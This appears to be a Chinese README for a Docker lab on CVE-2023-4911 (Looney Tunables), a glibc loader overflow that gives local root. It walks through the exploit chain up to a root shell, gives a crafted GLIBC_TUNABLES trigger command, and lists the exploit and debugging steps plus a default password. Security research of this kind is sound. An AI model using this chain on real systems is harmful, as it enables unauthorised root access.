基于 Docker 的实践环境,用于分析 GNU C Library (glibc) 动态加载器中的缓冲区溢出漏洞(本地权限提升)并开发利用代码。
| 项目 | 内容 |
|---|---|
| CVE 编号 | CVE-2023-4911 |
| 别名 | Looney Tunables |
| 影响对象 | GNU C Library (glibc) 2.34 ~ 2.38 |
| 受影响版本 | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 及以下 |
| 补丁版本 | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| 类型 | Buffer Overflow in ld.so |
| 影响 | 本地权限提升(普通用户 → root) |
| 发现者 | Qualys Security Research Team |
glibc 动态加载器 (ld.so) 在程序执行时解析 GLIBC_TUNABLES 环境变量。
当执行 SUID 二进制 时,会设置 __libc_enable_secure = 1,ld.so 进入使该环境变量失效(nullify)的代码路径。
在此过程中,对于 tunable1=tunable2=value 格式的输入,由于长度计算错误,导致缓冲区溢出。
普通二进制: __libc_enable_secure = 0 → 不进入 nullify 代码 → 无漏洞
SUID 二进制: __libc_enable_secure = 1 → 进入 nullify 代码 → 缓冲区溢出
利用流程:
GLIBC_TUNABLES 溢出
↓
覆盖 ld.so BSS 域中的 link_map 指针
↓
将库搜索路径篡改为 evil_lib/ 路径
↓
加载 evil.so → 自动执行构造函数
↓
setuid(0) + execve("/bin/bash") → 获取 root shell
本环境的设计目标超越简单的 PoC 执行,旨在直接分析漏洞原理并开发利用代码。
ld.so 源代码与可执行文件的环境researcher)→ root 权限提升场景CVE-2023-4911/
├── Dockerfile # 漏洞环境镜像定义(多阶段构建)
├── run.sh # Docker 构建/运行管理脚本
├── check_environment.sh # 容器启动时自动验证环境
├── poc/
│ ├── exploit.py # 基本 PoC — 验证崩溃(SIGSEGV)
│ ├── exploit_lpe.py # LPE 利用 — GDB 分析后完成
│ └── evil_lib/
│ ├── evil.c # 执行 root shell 的恶意共享库
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 测试二进制源码
└── test_heap.c # 堆分配测试二进制源码
./run.sh build && ./run.sh run
容器启动时会要求输入 sudo 密码。
密码: password
# 检查是否触发 SIGSEGV
python3 /workspace/poc/exploit.py --check-only
# 手动触发
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 在容器内直接分析
gdb -q /workspace/test_targets/test_suid
# 远程调试 (gdbserver)
# 容器内
gdbserver :1234 /workspace/test_targets/test_suid
# 本地主机
gdb
(gdb) target remote localhost:1234
使用 GDB 分析 OVERFLOW_OFFSET 和 TARGET_ADDR 后,更新 exploit_lpe.py 顶部的值并执行。
python3 /workspace/poc/exploit_lpe.py
| 命令 | 说明 |
|---|---|
./run.sh build | 构建 Docker 镜像 |
./run.sh run | 以交互模式运行容器 |
./run.sh analysis | 运行分析模式 |
./run.sh test | 快速验证漏洞 |
./run.sh clean | 清理镜像和容器 |
| 项目 | 内容 |
|---|---|
| 基础镜像 | ubuntu:jammy-20230916(补丁之前) |
| glibc 版本 | 2.35-0ubuntu3.3(存在漏洞) |
| ld.so 版本 | 2.35-0ubuntu3.3(存在漏洞) |
| 分析账户 | researcher / password |
| glibc 源码 | /workspace/glibc-source (2.35) |
| 主要端口 | 1234 (gdbserver) |
| 容器选项 | --privileged、--pid=host |
# 漏洞函数位置
/workspace/glibc-source/elf/dl-tunables.c
# 主要函数
__tunables_init() # 入口点
parse_tunables() # 溢出发生点
tunables_strdup() # 缓冲区分配
# 使用 strace 跟踪系统调用
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# 使用 GDB 分析 __tunables_init
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
本环境仅用于教育和安全研究目的。
--privileged 模式运行,请仅在隔离环境中使用